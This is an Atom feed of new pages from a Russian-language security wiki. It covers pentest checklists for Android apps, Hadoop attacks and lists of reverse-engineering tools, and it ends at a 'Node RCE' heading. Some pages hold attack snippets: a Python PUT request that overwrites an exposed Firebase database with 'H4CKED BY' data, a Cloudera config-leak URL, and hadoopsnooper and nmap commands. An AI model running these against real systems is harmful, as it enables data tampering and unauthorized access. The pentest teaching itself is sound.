<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
		<id>http://itsecwiki.org/index.php?feed=atom&amp;namespace=0&amp;title=%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F%3A%D0%9D%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B</id>
		<title>InformationSecurity WIKI - Новые страницы [ru]</title>
		<link rel="self" type="application/atom+xml" href="http://itsecwiki.org/index.php?feed=atom&amp;namespace=0&amp;title=%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F%3A%D0%9D%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B"/>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%9D%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B"/>
		<updated>2026-04-13T14:29:37Z</updated>
		<subtitle>Материал из InformationSecurity WIKI</subtitle>
		<generator>MediaWiki 1.27.7</generator>

	<entry>
		<id>http://itsecwiki.org/index.php/OAuth</id>
		<title>OAuth</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/OAuth"/>
				<updated>2026-01-30T13:45:14Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Web]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена OAuth и тому, как тестировать ее безопасность&lt;br /&gt;
&lt;br /&gt;
= Основная информация =&lt;br /&gt;
&lt;br /&gt;
== Алгоритм работы ==&lt;br /&gt;
&lt;br /&gt;
=== OAuth 1.0 ===&lt;br /&gt;
&lt;br /&gt;
=== OAuth 2.0 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Атаки =&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Документация ==&lt;br /&gt;
&lt;br /&gt;
[https://habr.com/ru/articles/77648/| Habr - Oauth 1.0]&lt;br /&gt;
&lt;br /&gt;
[https://habr.com/ru/companies/vk/articles/115163/| Habr - Oauth 2.0]&lt;br /&gt;
&lt;br /&gt;
== Программы ==&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Android</id>
		<title>Android</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Android"/>
				<updated>2024-02-17T23:05:45Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Список проверок */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена тестированию на проникновение Android-приложений.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап I - получение APK = &lt;br /&gt;
&lt;br /&gt;
== С устройства ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Из интернета ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап II - Распаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап III - получение исходных кодов =&lt;br /&gt;
&lt;br /&gt;
= Этап IV - включение отладки =&lt;br /&gt;
&lt;br /&gt;
= Этап VI - патчинг =&lt;br /&gt;
&lt;br /&gt;
== .smali ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== .java ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Этап V - подключение frida = &lt;br /&gt;
&lt;br /&gt;
= Этап VI - переупаковка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап VII - добавление подписи =&lt;br /&gt;
&lt;br /&gt;
= Этап VIII - сборка приложения =&lt;br /&gt;
&lt;br /&gt;
= Этап IX - запуск приложения =&lt;br /&gt;
&lt;br /&gt;
== На эмуляторе ==&lt;br /&gt;
&lt;br /&gt;
== На устройстве ==&lt;br /&gt;
&lt;br /&gt;
= Список проверок =&lt;br /&gt;
&lt;br /&gt;
== Наличие обфускации ==&lt;br /&gt;
&lt;br /&gt;
Как правило относится только к Java-коду но в редких случаях и к native-библиотекам.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Для Java - достаточно посмотреть читается ли декомпилированный код или нет.&lt;br /&gt;
&lt;br /&gt;
Для Native сложнее - нужно открыть ее в дизассемблере и уже смотреть статьи по обфускации кода (например добавление Virtual Machine в ассемблерный код)&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Просто чтение кода и изучение используемых алгоритмов.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Использовать бесплатные или платные(лучше) обфускаторы кода.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ROOT detection ==&lt;br /&gt;
&lt;br /&gt;
Определяет есть ли на устройстве рут или нет.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Либо поиск по ключевым словам &amp;quot;root&amp;quot;, &amp;quot;safetynet api&amp;quot;, &amp;quot;play integrity&amp;quot; либо запуск на рутованном девайсе&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также часть решений могут детектить по работе с директориями которые по-умолчанию закрыты (например /etc/)&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Отсутствует, просто best-practice&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Добавление детекта например на базе платных продуктов или Play Integrity API.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Устаревший SafetyNetAPI ==&lt;br /&gt;
&lt;br /&gt;
Использование устаревшего SafetyNetAPI для проверки целостности, рута и тд.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Поиск в коде по строке &amp;quot;SafetyNet&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Magisc Bypass - https://github.com/kdrag0n/safetynet-fix/&lt;br /&gt;
&lt;br /&gt;
Zygisk Bypass with detection evasion https://github.com/kdrag0n/safetynet-fix/issues/269 &lt;br /&gt;
&lt;br /&gt;
Youtube - https://www.youtube.com/watch?v=2J4QHsB5lsA&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Использовать новый Play Integrity&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/privacy-and-security/safetynet/attestation&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/privacy-and-security/safetynet/deprecation-timeline&lt;br /&gt;
&lt;br /&gt;
https://developer.android.com/google/play/integrity&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Отсутствие проверки на контейнеризацию ==&lt;br /&gt;
&lt;br /&gt;
Китайцы опубликовали новое решение под названием MultiApp - https://github.com/WaxMoon/MultiApp и демо-приложением https://github.com/WaxMoon/MultiAppDemo и именно это приложение легло в основу VCamera. VCamera использует &amp;quot;HackAPI&amp;quot; которое указано в &amp;quot;MultiApp&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать другое приложение в контейнере с (как я понял) перехватом части системных вызовов, например камеры.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Самая быстрая проверка - скачивание VCamera и тестирование с приложением https://play.google.com/store/apps/details?id=virtual.camera.app&amp;amp;hl=en_GB&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
На данный момент самое простое - VCamera и показать что камера была подменена.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Проверки надо делать в Native-коде (С/C++ код) приложения с вызовом syscall&lt;br /&gt;
&lt;br /&gt;
пример такой проверки - https://github.com/andvipgroup/VCamera/blob/f12f0b9c7131948b9369dd50aee3f3a23ab249e1/check_env_demo/code/native-lib.cpp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Почему так можно определить окружение? Как я понял, потому что хуки если и можно вешать, то не на системные функции ядра (по крайней мере без рута), поэтому вызов системных функций из Native-кода позволяет определить такую виртуализацию.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://play.google.com/store/apps/details?id=virtual.camera.app&amp;amp;hl=en_GB&lt;br /&gt;
&lt;br /&gt;
https://github.com/WaxMoon/MultiApp&lt;br /&gt;
&lt;br /&gt;
https://github.com/WaxMoon/MultiAppDemo&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Секреты в коде ==&lt;br /&gt;
&lt;br /&gt;
Спрятанные в коде секреты&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
1. Искать самому секреты по ключевым словам&lt;br /&gt;
&lt;br /&gt;
2. Использовать SemGrep для поиска секретов&lt;br /&gt;
&lt;br /&gt;
3. Использовать автоматические утилиты (например, MobSF) которые ищут в тч секреты&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
В зависимости от полученного секрета.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Убрать секреты из кода приложения (иногда меняя архитектуру системы).&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Остаточная информация ==&lt;br /&gt;
&lt;br /&gt;
Поиск остаточной информации после компиляции в коде приложения.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Что за информация может быть:&lt;br /&gt;
&lt;br /&gt;
1. Private URLs&lt;br /&gt;
&lt;br /&gt;
2. IP-addresses&lt;br /&gt;
&lt;br /&gt;
3. Private API-endpoints&lt;br /&gt;
&lt;br /&gt;
4. Полный путь компиляции (включая имя пользователя)&lt;br /&gt;
&lt;br /&gt;
5. ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Поиск опять же с SemGrep, MobSF или вручную.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Зависит от полученной информации, обычно не эксплуатируется отдельно от других уязвимостей.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
(Просто удалите если оно не требуется)&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Небезопасные привилегии ==&lt;br /&gt;
&lt;br /&gt;
В AndroidManifest.xml есть список привилегий приложения.&lt;br /&gt;
Некоторые из них могут быть опасны.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Обычно можно не мучиться и дать MobSF проверить привилегии.&lt;br /&gt;
&lt;br /&gt;
JadX может распаковать AndroidManifest.xml и перевести его в читаемый формат.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
В зависимости от привилегий, но как правила это просто best-practise.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
Отключение ненужных или опасных привилегий.&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== FireBase Misconfiguration ==&lt;br /&gt;
&lt;br /&gt;
Различные мисконфиги сервиса FireBase по сбору логов.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
Поиск по подстроке &amp;quot;firebase&amp;quot; - поиск firebase url.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Один из вариантов - попытаться сдампить FireBase DB.&lt;br /&gt;
&lt;br /&gt;
Пример - вы нашли URL test.firebaseio.com&lt;br /&gt;
&lt;br /&gt;
Попробуйте открыть test.firebaseio.com/.json - если есть бд то уязвимо.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другой вариант - сделать PUT запрос на&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import requests&lt;br /&gt;
data= {&amp;quot;Exploit&amp;quot;:&amp;quot;Successfull&amp;quot;, &amp;quot;H4CKED BY&amp;quot;: &amp;quot;Sheikh Rishad&amp;quot;}&lt;br /&gt;
reponse = requests.put(&amp;quot;https://test.firebaseio.com/.json&amp;quot;, json=data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И проверить заменились ли данные. Но! Осторожнее мб бд перезаписывает.&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://cyberweapons.medium.com/misconfigured-firebase-db-on-both-android-and-web-apps-a85927e4678f&lt;br /&gt;
&lt;br /&gt;
https://hackerone.com/reports/1065134&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AndroidManifest.xml - Debug ==&lt;br /&gt;
&lt;br /&gt;
Включенный дебаг позволяет отладчику с ADB подключаться и отлаживать приложение.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
debuggable=&amp;quot;true&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поиск этой строки в AndroidManifest.xml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также это можно найти автоматически с MobSF.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Обычно проще всего это сделать в AndroidStudio - выбрать устройство для отладки при открытом APK-файле.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
debuggable=&amp;quot;false&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AndroidManifest.xml - Backup ==&lt;br /&gt;
&lt;br /&gt;
Включенная возможность бекапить приложение с настройками.&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
android:allowBackup=&amp;quot;true&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поиск этой строки в AndroidManifest.xml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также это можно найти автоматически с MobSF.&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Для Samsung мб нужно будет удалить безопасное хранилище Knox.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
adb shell pm list packages -f -3&lt;br /&gt;
# Список приложений&lt;br /&gt;
...&lt;br /&gt;
# Замените на ссылку приложения&lt;br /&gt;
adb pull /data/app/org.fedorahosted.freeotp-Rbf2NWw6F-SqSKD7fZ_voQ==/base.apk freeotp.apk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
android:allowBackup=&amp;quot;false&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
https://gist.github.com/AnatomicJC/e773dd55ae60ab0b2d6dd2351eb977c1&lt;br /&gt;
&lt;br /&gt;
== TEST ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
== TEST ==&lt;br /&gt;
&lt;br /&gt;
Краткое_описание&lt;br /&gt;
&lt;br /&gt;
=== Проверка ===&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Исправление ===&lt;br /&gt;
&lt;br /&gt;
=== Ссылки ===&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Ios</id>
		<title>Ios</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Ios"/>
				<updated>2024-02-17T23:00:02Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «Категория:Pentest  Страница посвящена тестированию на проникновение IOS-приложений.»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Категория:Pentest]]&lt;br /&gt;
&lt;br /&gt;
Страница посвящена тестированию на проникновение IOS-приложений.&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Unity</id>
		<title>Unity</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Unity"/>
				<updated>2022-09-11T10:21:59Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * Unity Assets Bundle Extractor * devx * quickbms * UAVx32 * UnityAssetsExplorer»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* Unity Assets Bundle Extractor&lt;br /&gt;
* devx&lt;br /&gt;
* quickbms&lt;br /&gt;
* UAVx32&lt;br /&gt;
* UnityAssetsExplorer&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Python</id>
		<title>Python</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Python"/>
				<updated>2022-09-11T10:20:53Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * exetractor * PyInstallerExtractor * pyREtic * uncompyle6 * unpy2exe»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* exetractor&lt;br /&gt;
* PyInstallerExtractor&lt;br /&gt;
* pyREtic&lt;br /&gt;
* uncompyle6&lt;br /&gt;
* unpy2exe&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Net_framework</id>
		<title>Net framework</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Net_framework"/>
				<updated>2022-09-11T10:20:03Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ILSpy * NET Reflector * ReClass.Net * Telerik * dnSpy»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ILSpy&lt;br /&gt;
* NET Reflector&lt;br /&gt;
* ReClass.Net&lt;br /&gt;
* Telerik&lt;br /&gt;
* dnSpy&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Java</id>
		<title>Java</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Java"/>
				<updated>2022-09-11T10:19:21Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ClassEditor * dnSpy * jadx * Java Decompiler * JByteMod * Bytecode-Viewer * cfr * luyten * procyon-decompiler * Jeb Decompiler»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ClassEditor&lt;br /&gt;
* dnSpy&lt;br /&gt;
* jadx&lt;br /&gt;
* Java Decompiler&lt;br /&gt;
* JByteMod&lt;br /&gt;
* Bytecode-Viewer&lt;br /&gt;
* cfr&lt;br /&gt;
* luyten&lt;br /&gt;
* procyon-decompiler&lt;br /&gt;
* Jeb Decompiler&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Adobe_flash</id>
		<title>Adobe flash</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Adobe_flash"/>
				<updated>2022-09-11T10:18:12Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «= Утилиты =  * ffdec * Flash Decompiler Trillix»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Утилиты =&lt;br /&gt;
&lt;br /&gt;
* ffdec&lt;br /&gt;
* Flash Decompiler Trillix&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Delphi</id>
		<title>Delphi</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Delphi"/>
				<updated>2022-09-11T10:17:41Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: Новая страница: «=Утилиты=  * Delphi DeDe * Interactive Delphi Reconstructor * Revendepro»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Утилиты=&lt;br /&gt;
&lt;br /&gt;
* Delphi DeDe&lt;br /&gt;
* Interactive Delphi Reconstructor&lt;br /&gt;
* Revendepro&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Basic</id>
		<title>Basic</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Basic"/>
				<updated>2022-09-11T10:15:45Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
=Утилиты=&lt;br /&gt;
&lt;br /&gt;
* VB Decompiler Pro&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php/Hadoop</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php/Hadoop"/>
				<updated>2022-09-01T09:11:50Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Admin service */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flume*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
